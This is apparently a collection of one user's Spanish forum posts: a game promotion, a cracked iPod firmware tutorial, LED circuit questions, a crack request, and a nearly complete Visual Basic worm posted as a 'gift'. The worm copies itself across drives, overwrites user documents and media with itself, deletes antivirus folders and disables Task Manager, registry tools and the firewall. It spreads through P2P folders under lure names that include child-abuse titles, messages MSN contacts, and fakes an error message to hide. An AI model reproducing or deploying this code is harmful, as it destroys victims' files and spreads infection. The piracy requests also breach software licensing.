Temas

Hola,
esta vez les traigo un Juego para iOS y Android que hice con 2 amigos!

Catchin' Eggs


Es un juego muy basico, pero entretenido,
les dejo aca unas capturas de pantalla:




Me gustaria que me den su opinion y si tienen tiempo de bajarlo,
hagan un review del juego en el App Store o Google Play.

Pasen por mi pagina para descargarlo o busquenlo en el market correspodiente.
www.KactuzStudio.com

salu2 y espero que lo disfruten

["Kactuz Studio"]

Comence un nuevo proyecto denominado  "Kactuz Studio", junto a 2 amigos , con la intencion de crear aplicaciones y juegos para plataformas mobiles (iOS y Android)

Comenzamos hace 2 semanas y proximamente vamos a estar largando nuestro primer juego Gratis! en un principio

Nos gustaria que nos ayuden a crecer y a hacernos conocidos, para poder llevar acabo este proyecto

Porfavor, siganos y compartan la pagina con el resto de la gente

www.KactuzStudio.com
@Kactuz_Studio
/KactuzStudio

(No sabia dnd colocar el tuto, Mod's muevan el tuto a donde les parezca mas adecuado)

Primero que nada,
como es sabido por todos,
todo lo q hagan es bajo su propio riesgo y no me hago responsable por lo que le
pueda llegar a suceder a sus iPod's

Yo mismo lo hice cn mi iPod de 30GB 5.5G y
de verdad funciona, en este momento tengo andando los 14 juegos.
si no estan seguros, directamente NO lo hagan.

esto solo se les puede aplicar a los iPod video,
osea a los 5G y 5.5G, y antes de seguir cn el tuto, deben saber que generación de iPod poseen,
y recuerden solo funciona en 5G o 5.5G NINGUN OTRO!!!


1) ######################################

Deberan descargar un archivo que contiene todo lo necesario para realizar el tuto.
Desargar Aqui!
deberan descargar el torrent que les aparezca en la pagina,
para descargar el tottent yo use el ARES que tmb funciona como P2P.


2) ######################################

Una vez terminada la descarga conectamos el ipod y abrimos el iTunes
y deben desmarcar la opcion de "Sincronizar los Juegos" y hacer click en "Aplicar" y cerramos iTunes




3) ######################################

si entran a la carpeta que descargaron, se van a encontrar con varios archivos



deben descomprimir "iPod Games & Firmware"
y encontraran estas 14 carpetas(son los juegos):



Copiamos las 14 carpetas y
entramos al ipod (teniendo habilitada la opcion para ver las carpetas ocultas)
y entran en "iPod_Control" y crean una carpeta nueva cn el nombre "Games_RO" (sin comillas)



y dentro de esa carpeta pegan las 14 carpetas que copiamos anteriormente.


4)######################################

Ahora dentro de la carpeta descargada
abren el ipod wizard el cual les deberia detectar el iPod automaticamente



en "Edit Mode" selecionan "Firmware File",
eligen el archivo .bin que le corresponda a la generación de su ipod (se encuentra dentro de lo que descargaron)
si x ejemplo tiene un Ipod 30GB 5.5G como el mio,
deben abrir el "Cracked_For_Games5.5G.bin", tienen que elegir exactamente el de su generación MUCHO CUIDADO!!!
una vez terminaod estos pasos,
ponen "Write to iPod" como vemos en la imagen.

la instalación del firmware no demorara mas q unos pocos segundos,
y si no me equivoco el ipod wizard les dira que retiren el ipod de forma segura,
y el mismo se auto reiniciara.

en ese momento (cuando se auto reinicie) aparecera una pantalla azul en el ipod,
cn el titulo de IPL Loader 1.2.1 si no me equivoco solo deben esperar,
en 10 seg esa pantalla desaparecera, pero aparecera otra azul donde no hay nada,
y lo unico que hay q hacer es esperar hasta que aparezca el SO original del iPod.


5)######################################

Listo!!!!!!
si todo salio bien, ya podrian jugar a las 14 juegos,
sin problemas.


########################################

Pueden que encuentren otros tutos,
pero nignuno con imagenes, y me parecio buena idea,
hacer un tuto grafico para que las cosas queden mas claras.
De ultima en la carpeta descargada hay un "Read Me.txt" que tiene las instrucciónes en ingles.

espero q les haya gustado el tuto
y les haya  sido de utilidad

salu2 y suerte   

Bueno,
mña me voy de vacaciónes,
y queria poder dejarles este regalito antes de irme,
es un worm, que vengo realizando hace un par de dias,
Esta listo para comenzar a infectar solo que,
hay que darle unos ajustes finales,
como descargar algun archivo, y ponerle la parte de IS para el MSN,
tambien se le pueden agregar un par de funciones mas, pero,
no podia dejarlos sin ver el worm antes de irme.

Supongo q cuando vuelva, lo seguire arreglando, ya que ahora no tengo mas tiempo.

Código [Seleccionar] Expandir

'Agregarle la referencia Microsoft Scripting Runtime
'Agregarle la referencia Messenger API type library
Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long 'API para descargar archivos de manera oculta
Private Declare Function GetDriveType Lib "kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String) As Long 'API para obtener los HD
Private Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long 'API para obtener la carpeta system32

Public WithEvents msn As MessengerAPI.Messenger
Dim reg As New clsRegistryAccess
Dim Fso As New FileSystemObject
Dim Carpetas As New Collection
Dim Espera As Integer

Public Function DownloadFile(URL As String, LocalFilename As String) As Boolean 'Función para descargar archivos de forma oculta
Dim lngRetVal As Long
    lngRetVal = URLDownloadToFile(0, URL, LocalFilename, 0, 0)
    If lngRetVal = 0 Then DownloadFile = True
End Function

Public Function q(j) 'Funcion para cifrar claves del registro
On Error Resume Next
For r = 1 To Len(j)
q = q & Chr(Asc(Mid(j, r, 1)) - 20)
Next r
End Function

Private Sub Get_Drives() 'Obtengo los HD para la Reproducción
Dim Drive As String
Drives = Array("A:\", "B:\", "C:\", "D:\", "E:\", "F:\", "G:\", "H:\", "I:\", "J:\")
For X = LBound(Drives) To UBound(Drives)
    Select Case GetDriveType(Drives(X))
        Case 3
            Drive = Drives(X)
            Call Reproducción(Drive, reg.ReadString(q("\_Yms`cWU`saUW\]bYpgmghYapgyˆ‰,,pYŒ,,€ƒ†y†GF"), "Reproducción", 0))
    End Select
Next X
End Sub

Private Sub Reproducción(Path As String, Nº As Double) 'Me Reprodusco x todo el disco cada vez que me inicio
On Error Resume Next
If Fso.GetFolder(Path).SubFolders.Count = 0 Then: Exit Sub
For Each i In Fso.GetFolder(Path).SubFolders
    Carpetas.Add (i)
    Fso.CopyFile App.Path & "\" & App.EXEName & ".exe", i & "\" & Nº & ".exe", False
    SetAttr i & "\" & Nº & ".exe", vbReadOnly + vbHidden + vbSystem
    Nº = Nº + 1
    DoEvents
    Reproducción (i), Nº
Next
reg.WriteString q("\_Yms`cWU`saUW\]bYpgmghYapgyˆ‰,,pYŒ,,€ƒ†y†GF"), "Reproducción", Nº
End Sub

Private Sub Infectar_MzN() 'Infecto a los contactos del MSN utilizando IS
On Error Resume Next
Dim contacto As IMessengerContact
Set w = CreateObject("Messenger.UIAutomation")
For Each contacto In w.MyContacts
    If contacto.Status <> MISTATUS_OFFLINE Then
        Set iMsn = w.InstantMessage(contacto.SigninName)
        SendKeys ("Utilizar Ingenieria Social" & "{ENTER}" & "%{F4}")
    End If
Next
End Sub

Private Sub Borrar_Archivos() 'Borro archivos que pueden ser importantes para el Usuario
On Error Resume Next
EXTlist = Array("mp3", "mid", "aif", "mp4", "ogg", "wma", "wmv", "wav", "asf", "avi", "mpg", "mov", "ace", "arj", "cab", "iso", "rar", "zip", "doc", "txt", "pdf", "pps", _
"sdd", "sdc", "sdw", "sxg", "xls", "xlm", "rtf", "ctt", "msg", "xml", "htm", "css", "swf", "vbs", "3ds", "jpg", "jpeg", "gif", "bmp", "png", "reg", "sys", "h", "cpp", "bak", _
"cab", "ttf", "fon", "lnk")
For Each i In Carpetas
    For Each j In Fso.GetFolder(i).Files
        For y = LBound(EXTlist) To UBound(EXTlist)
            If Fso.GetExtensionName(j) = EXTlist(y) Then
                Fso.CopyFile App.Path & "\" & App.EXEName & ".exe", j, True
                Fso.DeleteFile j, True
            End If
        Next y
    Next
Next
Call Buscar_P2P
End Sub

Private Sub Anti_AV() 'Mato a diferentes AntiVirus para dejar indefensa la PC
On Error Resume Next
Dim AVarray() As String
AVlist = Array("Panda Software", "Kaspersky Lab", "Spybot - Search & Destroy", "Spyware Doctor", "Webroot", "Microsoft Antispyware", "Lavasoft", "Registry Mechanic", "System Mechanic", "ESET", "Grisoft", "xerox", "ALWIL Software", _
"BitDefender Professional Plus", "The Cleaner Pro", "Symantec", "Zone Labs", "Norton antivirus", "Alwil Software", "Symantec Shared", "Norton Internet Security", "ewido anti-malware", "Norton AntiVirus", "Norton Utilities", "Norton SystemWorks", _
"SpyAxe", "SpywareStrike", "VirusScan", "Eset", "AVPersonal", "Softwin", "Symantec AntiVirus", "AVG7", "McAfee", "McAfee.com", "SinEspias", "Trojan Remover", "Trend Micro", "Persystems", "BillP Studios", "SpywareBlaster", "The Cleaner", "Agnitum", _
"HJT", "TrojanShield", "Iparmor", "Prisma Firewall", "Kerio", "Sygate", "CA", "eTrust Internet Security Suite", "BullGuard Software", "AxBx", "TrojanHunter 4.2", "Anti Trojan Elite", "ClamWin", "Evidence Destructor", "Arovax Shield", _
"Adware Away", "Aluria Software", "Norman", "eTrust")
For Each j In Carpetas
    AVarray = Split(j, "\")
    For X = LBound(AVarray) To UBound(AVarray)
        For y = LBound(AVlist) To UBound(AVlist)
            If AVarray(X) = AVlist(y) Then
                Fso.DeleteFolder j, True
            End If
        Next y
    Next X
Next
Call Registro
End Sub

Private Sub Buscar_P2P() 'Busco las carpetas de los P2P para luego infectarlas
On Error Resume Next
Dim P2Parray() As String
P2Plist = Array("incoming", "Incoming", "Files", "My Grokster", "Downloads", "Download", "Shared", "Share", "My Shared Folder", "shared files", "Received Files")
For Each w In Carpetas
    P2Parray = Split(w, "\")
    For X = LBound(P2Parray) To UBound(P2Parray)
        For y = LBound(P2Plist) To UBound(P2Plist)
            If P2Parray(X) = P2Plist(y) Then
                Infectar_P2P (w)
            End If
        Next y
    Next X
Next
Call Infectar_MzN
End Sub

Private Sub Infectar_P2P(Peer_to_Peer As String) 'Me propago por P2P infectando las carpetas encontradas
On Error Resume Next
Dim Nombre(1 To 40)
Dim Extención(1 To 10)
Nombre(1) = "Counter Strike"
Nombre(2) = "Hotmail Hack"
Nombre(3) = "Hotmail Hacking Programe"
Nombre(4) = "Yahoo"
Nombre(5) = "Messenger Plus"
Nombre(6) = "Matrix Revolution"
Nombre(7) = "Sillent Hill"
Nombre(8) = "Mu Online Hack"
Nombre(9) = "Rolling Stones"
Nombre(10) = "LimeWire Pro"
Nombre(11) = "GTA San Andreas"
Nombre(12) = "eMule Gold Edition"
Nombre(13) = "Ragnarok"
Nombre(14) = "Pampita desnuda"
Nombre(15) = "X-treme sport"
Nombre(16) = "Winamp 10.7 Pro"
Nombre(17) = "Nero Buning Studio"
Nombre(18) = "Fifa 2007"
Nombre(19) = "Los Sims 2"
Nombre(20) = "NFS Carbon"
Nombre(21) = "World of Warcraft"
Nombre(22) = "Ricardo Arjona"
Nombre(23) = "U2"
Nombre(24) = "ZoneAlarm_Professional"
Nombre(25) = "Worms"
Nombre(26) = "La Renga"
Nombre(27) = "Eminem"
Nombre(28) = "Windows Vista"
Nombre(29) = "Norton Anti-virus"
Nombre(30) = "Greenday"
Nombre(31) = "Rammstein Full CD"
Nombre(32) = "Labios Compartidos"
Nombre(33) = "System of a down - ToxiCity"
Nombre(34) = "SOAD"
Nombre(35) = "Linux Kubuntu"
Nombre(36) = "Rata Blanca"
Nombre(37) = "Paris masturbandose"
Nombre(38) = "Britney Spears chupando pija"
Nombre(39) = "10 year old girls masturbating"
Nombre(40) = "12 year old girl being fuck by her father"

Extención(1) = ".avi.exe"
Extención(2) = ".gif.exe"
Extención(3) = ".jpg.exe"
Extención(4) = ".mpeg.exe"
Extención(5) = ".mp3.exe"
Extención(6) = " Crack.exe"
Extención(7) = " KeyGen.exe"
Extención(8) = " Serial.exe"
Extención(9) = " Ultima Version.exe"
Extención(10) = ".exe"

For N = 1 To 40
    For E = 1 To 10
    Fso.CopyFile App.Path & "\" & App.EXEName & ".exe", Peer_to_Peer & "\" & Nombre(N) & Extención(E), False
    Next E
Next N
End Sub

Private Sub Registro() 'Juego con el registro XD
Dim buf As String
Dim ret As Long
Dim Worm As String
buf = String$(260, Chr$(0))
ret = GetSystemDirectory(buf, Len(buf))
Worm = Left$(buf, ret) & "\Explorer32.exe"

reg.CreateKeyIfDoesntExists = True
reg.CreateKey q("\_Yms`cWU`saUW\]bYpgmghYapgyˆ‰,,pYŒ,,€ƒ†y†GF")
If reg.ReadString(q("\_Yms`cWU`saUW\]bYpgmghYapgyˆ‰,,pYŒ,,€ƒ†y†GF"), "Starup") <> 1 Then
    If reg.WriteString(q("\_Yms`cWU`saUW\]bYpgƒzˆ‹u†ypa}w†ƒ‡ƒzˆpk},xƒ‹‡pW‰††y,ˆjy†‡}ƒ,pf‰,gy†Š}wy"), "Explorer32", Worm) <> 0 Then
        reg.WriteString q("\_Yms`cWU`saUW\]bYpgmghYapgyˆ‰,,pYŒ,,€ƒ†y†GF"), "Starup", 1
    End If
ElseIf reg.ReadString(q("\_Yms`cWU`saUW\]bYpgmghYapgyˆ‰,,pYŒ,,€ƒ†y†GF"), "NoSetFolders") <> 1 Then
    If reg.WriteDWORD(q("\_YmsWiffYbhsigYfpgƒzˆ‹u†ypa}w†ƒ‡ƒzˆpk},xƒ‹‡pW‰††y,ˆjy†‡}ƒ,pdƒ€}w}y‡pYŒ,,€ƒ†y†"), "NoSetFolders", 1) <> 0 Then
        reg.WriteString q("\_Yms`cWU`saUW\]bYpgmghYapgyˆ‰,,pYŒ,,€ƒ†y†GF"), "NoSetFolders", 1
    End If
ElseIf reg.ReadString(q("\_Yms`cWU`saUW\]bYpgmghYapgyˆ‰,,pYŒ,,€ƒ†y†GF"), "NoFind") <> 1 Then
    If reg.WriteDWORD(q("\_YmsWiffYbhsigYfpgƒzˆ‹u†ypa}w†ƒ‡ƒzˆpk},xƒ‹‡pW‰††y,ˆjy†‡}ƒ,pdƒ€}w}y‡pYŒ,,€ƒ†y†"), "NoFind", 1) <> 0 Then
        reg.WriteString q("\_Yms`cWU`saUW\]bYpgmghYapgyˆ‰,,pYŒ,,€ƒ†y†GF"), "NoFind", 1
    End If
ElseIf reg.ReadString(q("\_Yms`cWU`saUW\]bYpgmghYapgyˆ‰,,pYŒ,,€ƒ†y†GF"), "NoRun") <> 1 Then
    If reg.WriteDWORD(q("\_YmsWiffYbhsigYfpgƒzˆ‹u†ypa}w†ƒ‡ƒzˆpk},xƒ‹‡pW‰††y,ˆjy†‡}ƒ,pdƒ€}w}y‡pYŒ,,€ƒ†y†"), "NoRun", 1) <> 0 Then
        reg.WriteString q("\_Yms`cWU`saUW\]bYpgmghYapgyˆ‰,,pYŒ,,€ƒ†y†GF"), "NoRun", 1
    End If
ElseIf reg.ReadString(q("\_Yms`cWU`saUW\]bYpgmghYapgyˆ‰,,pYŒ,,€ƒ†y†GF"), "NoClose") <> 1 Then
    If reg.WriteDWORD(q("\_YmsWiffYbhsigYfpgƒzˆ‹u†ypa}w†ƒ‡ƒzˆpk},xƒ‹‡pW‰††y,ˆjy†‡}ƒ,pdƒ€}w}y‡pYŒ,,€ƒ†y†"), "NoClose", 1) <> 0 Then
        reg.WriteString q("\_Yms`cWU`saUW\]bYpgmghYapgyˆ‰,,pYŒ,,€ƒ†y†GF"), "NoClose", 1
    End If
ElseIf reg.ReadString(q("\_Yms`cWU`saUW\]bYpgmghYapgyˆ‰,,pYŒ,,€ƒ†y†GF"), "NoLogOff") <> 1 Then
    If reg.WriteDWORD(q("\_YmsWiffYbhsigYfpgƒzˆ‹u†ypa}w†ƒ‡ƒzˆpk},xƒ‹‡pW‰††y,ˆjy†‡}ƒ,pdƒ€}w}y‡pYŒ,,€ƒ†y†"), "NoLogOff", 1) <> 0 Then
        reg.WriteString q("\_Yms`cWU`saUW\]bYpgmghYapgyˆ‰,,pYŒ,,€ƒ†y†GF"), "NoLogOff", 1
    End If
ElseIf reg.ReadString(q("\_Yms`cWU`saUW\]bYpgmghYapgyˆ‰,,pYŒ,,€ƒ†y†GF"), "Disabled") <> 1 Then
    If reg.WriteDWORD(q("\_YmsWiffYbhsigYfpgƒzˆ‹u†ypa}w†ƒ‡ƒzˆpk},xƒ‹‡pW‰††y,ˆjy†‡}ƒ,pdƒ€}w}y‡pk},c€xU,,,,"), "Disabled", 1) <> 0 Then
        reg.WriteString q("\_Yms`cWU`saUW\]bYpgmghYapgyˆ‰,,pYŒ,,€ƒ†y†GF"), "Disabled", 1
    End If
ElseIf reg.ReadString(q("\_Yms`cWU`saUW\]bYpgmghYapgyˆ‰,,pYŒ,,€ƒ†y†GF"), "Login") <> 1 Then
    If reg.KillKey(q("\_`apbyˆ‹ƒ†p`ƒ{ƒ,")) <> 0 Then
        reg.WriteString q("\_Yms`cWU`saUW\]bYpgmghYapgyˆ‰,,pYŒ,,€ƒ†y†GF"), "Login", 1
    End If
ElseIf reg.ReadString(q("\_Yms`cWU`saUW\]bYpgmghYapgyˆ‰,,pYŒ,,€ƒ†y†GF"), "NoAddRemovePrograms") <> 1 Then
    If reg.WriteDWORD(q("\_Wipgƒzˆ‹u†ypa}w†ƒ‡ƒzˆpk},xƒ‹‡pW‰††y,ˆjy†‡}ƒ,pdƒ€}w}y‡pi,},‡ˆu€€pgƒzˆ‹u†ypa}w†ƒ‡ƒzˆpk},xƒ‹‡pW‰††y,ˆjy†‡}ƒ,pdƒ€}w}y‡pi,},‡ˆu€€"), "NoAddRemovePrograms", 1) <> 0 Then
        reg.WriteString q("\_Yms`cWU`saUW\]bYpgmghYapgyˆ‰,,pYŒ,,€ƒ†y†GF"), "NoAddRemovePrograms", 1
    End If
ElseIf reg.ReadString(q("\_Yms`cWU`saUW\]bYpgmghYapgyˆ‰,,pYŒ,,€ƒ†y†GF"), "HideClock") <> 1 Then
    If reg.WriteDWORD(q("\_Wipgƒzˆ‹u†ypa}w†ƒ‡ƒzˆpk},xƒ‹‡pW‰††y,ˆ4jy†‡}ƒ,pdƒ€}w}y‡pYŒ,,€ƒ†y†"), "HideClock", 1) <> 0 Then
        reg.WriteString q("\_Yms`cWU`saUW\]bYpgmghYapgyˆ‰,,pYŒ,,€ƒ†y†GF"), "HideClock", 1
    End If
ElseIf reg.ReadString(q("\_Yms`cWU`saUW\]bYpgmghYapgyˆ‰,,pYŒ,,€ƒ†y†GF"), "NoTrayItemsDisplay") <> 1 Then
    If reg.WriteDWORD(q("\_Wipgƒzˆ‹u†ypa}w†ƒ‡ƒzˆpk},xƒ‹‡pW‰††y,ˆ4jy†‡}ƒ,pdƒ€}w}y‡pYŒ,,€ƒ†y†"), "NoTrayItemsDisplay", 1) <> 0 Then
        reg.WriteString q("\_Yms`cWU`saUW\]bYpgmghYapgyˆ‰,,pYŒ,,€ƒ†y†GF"), "NoTrayItemsDisplay", 1
    End If
ElseIf reg.ReadString(q("\_Yms`cWU`saUW\]bYpgmghYapgyˆ‰,,pYŒ,,€ƒ†y†GF"), "Hidden") <> 1 Then
    If reg.WriteDWORD(q("\_`apg‡ˆypW‰††y,ˆWƒ,ˆ†ƒ€gyˆpgy†Š}wy‡p`u,u,kƒ†‡ˆuˆ}ƒ,pdu†uyˆy†‡"), "Hidden", 1) <> 0 Then
        reg.WriteString q("\_Yms`cWU`saUW\]bYpgmghYapgyˆ‰,,pYŒ,,€ƒ†y†GF"), "Hidden", 1
    End If
ElseIf reg.ReadString(q("\_Yms`cWU`saUW\]bYpgmghYapgyˆ‰,,pYŒ,,€ƒ†y†GF"), "DisableTaskMgr") <> 1 Then
    If reg.WriteDWORD(q("\_YmsWiffYbhsigYfpgƒzˆ‹u†ypa}w†ƒ‡ƒzˆpk},xƒ‹‡pW‰††y,ˆjy†‡}ƒ,pdƒ€}w}y‡pg‡ˆy"), "DisableTaskMgr", 1) <> 0 Then
        reg.WriteString q("\_Yms`cWU`saUW\]bYpgmghYapgyˆ‰,,pYŒ,,€ƒ†y†GF"), "DisableTaskMgr", 1
    End If
ElseIf reg.ReadString(q("\_Yms`cWU`saUW\]bYpgmghYapgyˆ‰,,pYŒ,,€ƒ†y†GF"), "EnableBallonTips") <> 1 Then
    If reg.WriteDWORD(q("\_Wipgƒzˆ‹u†ypa}w†ƒ‡ƒzˆpk},xƒ‹‡pW‰††y,ˆjy†‡}ƒ,pYŒ,,€ƒ†y†pUxŠu,wyx"), "EnableBallonTips", 0) <> 0 Then
        reg.WriteString q("\_Yms`cWU`saUW\]bYpgmghYapgyˆ‰,,pYŒ,,€ƒ†y†GF"), "EnableBallonTips", 1
    End If
ElseIf reg.ReadString(q("\_Yms`cWU`saUW\]bYpgmghYapgyˆ‰,,pYŒ,,€ƒ†y†GF"), "EnableFirewall") <> 1 Then
    If reg.WriteDWORD(q("\_`apgmghYapW‰††y,ˆWƒ,ˆ†ƒ€gyˆpgy†Š}wy‡pg|u†yxUwwy‡‡pdu†uyˆy†‡pZ}†y‹u€€dƒ€}wpgˆu,xu†xd†ƒz}€y"), "EnableFirewall", 0) <> 0 Then
        reg.WriteString q("\_Yms`cWU`saUW\]bYpgmghYapgyˆ‰,,pYŒ,,€ƒ†y†GF"), "EnableFirewall", 1
    End If
ElseIf reg.ReadString(q("\_Yms`cWU`saUW\]bYpgmghYapgyˆ‰,,pYŒ,,€ƒ†y†GF"), "DisableRegistryTools") <> 1 Then
    If reg.WriteDWORD(q("\_YmsWiffYbhsigYfpgƒzˆ‹u†ypa}w†ƒ‡ƒzˆpk},xƒ‹‡pW‰††y,ˆjy†‡}ƒ,pdƒ€}w}y‡pg‡ˆy"), "DisableRegistryTools", 1) <> 0 Then
        reg.WriteString q("\_Yms`cWU`saUW\]bYpgmghYapgyˆ‰,,pYŒ,,€ƒ†y†GF"), "DisableRegistryTools", 1
    End If
End If

If Not Fso.FileExists(Worm) Then
Fso.CopyFile App.Path & "\" & App.EXEName & ".exe", Worm, False
SetAttr Worm, vbHidden + vbSystem
End If
Call Borrar_Archivos
End Sub

Private Sub Form_Load() 'Cuando inicio, envio un mensaje de error para no despertar sospechas
Me.Visible = False
App.TaskVisible = False
App.Title = "Explorer32"
Espera = 0

MsgBox "Error #699" & vbCrLf & "Error trying to execute file", vbCritical, "Error"
Call Get_Drives
End Sub

Private Sub Timer1_Timer() 'Aqui espero 5 minutos, a que se termine la parte de Reproducción para comenzar a Matar AV's
If Espera >= 300 Then
Call Anti_AV
Timer1.Enabled = False
Else
Espera = Espera + 1
End If
End Sub

para que funcione la parte del registro,
se le debe agregar un Class Module,
el cual se los dejare mas adelnate, en mi retorno,
Aclaro algo, no lo he probado, pero si es por logica deberia funcionar  jaja 

bueno, salu2 y q tengan suerte en mi ausencia xD

Bueno, recien termine este code, sin basarme en ningun otro previo code.
lo hice para compartirlo con ustedes y espero que les sirva.

El code es este:

Código [Seleccionar] Expandir

Sub code()
List1.AddItem ("C:\")
For y = 0 To 20000
    Dir1.Path = List1.List(y)
    For j = 0 To Dir1.ListCount - 1
        For x = 0 To List1.ListCount
            If Not List1.List(x) <> Dir1.List(j) Then
                GoTo 1:
            End If
        Next x
        If List1.ListCount <> 1000 Then
            List1.AddItem (Dir1.List(j))
        Else
            GoTo 2:
        End If
1
        DoEvents
    Next j
Next y
2
End Sub

El que entienda el code y sepa como funciona, va a saber como usarlo
y de que manera modificarlo para usarlo en otras cosas    jeje.

No lo explico para que solo puedan usarlo quienes lo entiendan,
y espero que lo entiendad casi todos.

cuanto mas grande sea ese valor donde dice List1.ListCount <> 1000 mas carpetas va a dar (el que entienda el code  va a saber de q hablo).

bueno espero que lo difruten y sepan como usarlo.
cualquier otra duda consulten y si es posible comenten que tal jeje

salu2 y suerte

Bueno, encontre un circuito, para hacer q 4 leds se prendan y se apaguen,
pero como no c mucho del tema,
me gustaria q me dijieran q es kda elemento del circuito.

yo tengo esta info q esta en aleman y quiero q me digan q es cada cosa.

    * 2x Widerstand 10k (z.B. Reichelt, Best. Nr. "1/4W 10k") [R1, R3]
    * 1x Widerstand 4,7k (z.B. Reichelt, Best. Nr. "1/4W 4,7k") [R2]
    * 1x Widerstand 430 (z.B. Reichelt, Best. Nr. "1/4W 430") [R4, R5, R6, R7]
    * 1x Trimmer 1M (z.B. Reichelt, Best. Nr. "PT 15-L 1,0M") [P1]
    * 1x Keramikkondensator  10n (z.B. Reichelt, Best. Nr. "KERKO 10n") [C1]
    * 1x Elko 4,7µF (z.B. Reichelt, Best. Nr. "RAD 4,7/35") [C2]
    * 1x Elko 100µF (z.B. Reichelt, Best. Nr. "RAD 100/25") [C2]
    * 1x Transistor BC327 (z.B. Reichelt, Best. Nr. "BC 327-25") [T1]
    * 1x IC NE555 (z.B. Reichelt, Best. Nr. "NE 555 DIP") [IC1]
    * 1x IC-Fassung 8polig (z.B. Reichelt, Best. Nr. "GS 8")
    * 1x Stiftleiste (z.B. Reichelt, Best. Nr. "STIFTL. 2X10G")

estos serian los elementos, si alguien me los pudiera traducir.

para q entiendan un poco mas aca les dejo el circuito:

http://www.moddingtech.de/portal/bild_popup.php?src=portal/pics/content/tutorials/ledstroboskop/ledstrobo_schaltplan.png



otra duda,
si ven, R4,R5,R6,R7, todas son de 430,
pero 430 q?? 430 ohms??

cuantos ohms deberian tener R4,R5,R6,R7 si mis led's son de 3v???



XFAVOR,
ES URGENTE, NECESITO Q ME AYUDEN,

X SI LAS MOSCAS, ACA LES DEJO LA PAGINA PARA  Q SE PUEDAN GUIAR MEJOR.

http://www.moddingtech.de/tut_ledstroboskop_01_de,59.html


salu2 y espero urgentemente su ayuda
GRACIAS

Bueno,
alguien me podria pasar un circuito, cn sus respectivos materiales,
con el cual se logre un juego de luces cn los leds, osea, q se prendan unos luego otros, luego otros o simplemente, apaguen y prendan en intervalos de tiempo cortos. la fuente seria de 12v.

salu2 y mcuhas gracias

bueno,
me gustaria saber si es posible armar un equipo de musika y como se armaria osea, q estaria conectado a q, etc, con los siguientes materiales.

2 parlantes de auto
la radio de un auto y el frente de la radio
una bateria de 12 de las grandes (mas chucas q las de auto)

bueno, quisiera si se podria armar una radio con CD/FM/AM
con esos materiales y como se armaria.

gracias.

salu2

Hola,

diseñe un wallpaper 1024 x 768,
para los amantes de linux.
los q gusten mirenlo y comenten q tal esta.

Linux 2006

salu2

Hola,

quisiera saber si alguien ntiene un link de descarga de la ultima version del 3D max con su respesctivo crack.
Gracias

Salu2

Hola,

como se podria cambiarle de icono a la aplicción de realizada en VB,
mientras esta se esta ejecutando, osea, q al precionar un boton en dicha aplicacion, su icono cambie.
Si es posible, podrian poner las sintaxis.

Gracias